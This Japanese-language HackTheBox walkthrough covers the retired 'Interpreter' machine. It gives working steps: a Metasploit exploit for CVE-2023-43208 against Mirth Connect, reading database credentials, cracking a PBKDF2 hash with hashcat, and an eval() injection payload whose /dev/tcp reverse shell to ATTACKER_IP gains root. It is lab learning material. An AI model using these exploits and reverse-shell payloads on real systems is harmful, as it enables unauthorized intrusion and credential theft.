
HackTheBox Interpreter の walkthrough: CVE-2023-43208 Mirth Connect のデシリアライゼーション RCE、PBKDF2 ハッシュクラッキング、および eval() インジェクションによる root への権限昇格。
プラットフォーム: HackTheBox OS: Linux ステータス: リタイア済み — 完全なウォークスルー公開中。
完全なウォークスルー: l3dsec.com/walkthroughs/interpreter-htb
Nmap → Mirth Connect 4.4.0 (80/443)
→ CVE-2023-43208 未認証 Java デシリアライゼーション RCE
→ mirth としてシェル取得
→ mirth.properties → MySQL 認証情報
→ MySQL → sedric の PBKDF2 ハッシュ → hashcat → SSH → ユーザーフラグ
→ notif.py が root として 127.0.0.1:54321 で稼働
→ XML POST 経由の eval() インジェクション → ROOT シェル → ルートフラグ
nmap -sV -sC <TARGET_IP> -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 (Debian)
80/tcp open http Jetty (Mirth Connect)
443/tcp open ssl Jetty SSL (Mirth Connect)
Mirth の REST API によるバージョンフィンガープリント:
curl -sk https://<TARGET_IP>/api/server/version -H "X-Requested-With: XMLHttpRequest"
# Returns: 4.4.0
Mirth Connect 4.4.0 は Java デシリアライゼーションによる未認証 RCE に対して脆弱です:
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS <TARGET_IP>
set RPORT 443
set LHOST <ATTACKER_IP>
set FETCH_WRITABLE_DIR /tmp
set payload cmd/unix/reverse_bash
exploit
mirth としてシェル取得。
find / -name "mirth.properties" 2>/dev/null
# /usr/local/mirthconnect/conf/mirth.properties
# database.username = mirthdb
# database.password = <redacted>
# database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
mysql -u mirthdb -p'<db_password>' mc_bdd_prod
MySQL の列挙により、PBKDF2 ハッシュを持つユーザー sedric と、XML を http://127.0.0.1:54321/addPatient に転送する HL7 チャネルが判明します。
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
ハッシュクラック成功。sedric として SSH 接続し、/home/sedric/user.txt を読み取ります。
notif.py は root として稼働し、127.0.0.1:54321/addPatient で待ち受けています — これは Mirth が XML を転送するのと同じエンドポイントです。このスクリプトは firstname XML フィールドを直接 Python の eval() に渡します。
mirth シェルからのペイロード:
import urllib.request, base64
from urllib.request import Request
cmd = "bash -i >& /dev/tcp/<ATTACKER_IP>/9004 0>&1"
b64 = base64.b64encode(cmd.encode()).decode()
inj = f"{{exec(__import__('base64').b64decode('{b64}').decode())}}"
xml = f"<patient><firstname>{inj}</firstname><lastname>x</lastname></patient>"
req = Request(
"http://127.0.0.1:54321/addPatient",
data=xml.encode(),
headers={"Content-Type": "application/xml"}
)
urllib.request.urlopen(req)
リスナーで root シェルを受信。
| フラグ | 値 |
|---|---|
| ユーザー | redacted |
| ルート | redacted |
教育目的のみ。所有しているか、テストの明示的な書面による許可を得ているシステムのみをテストしてください。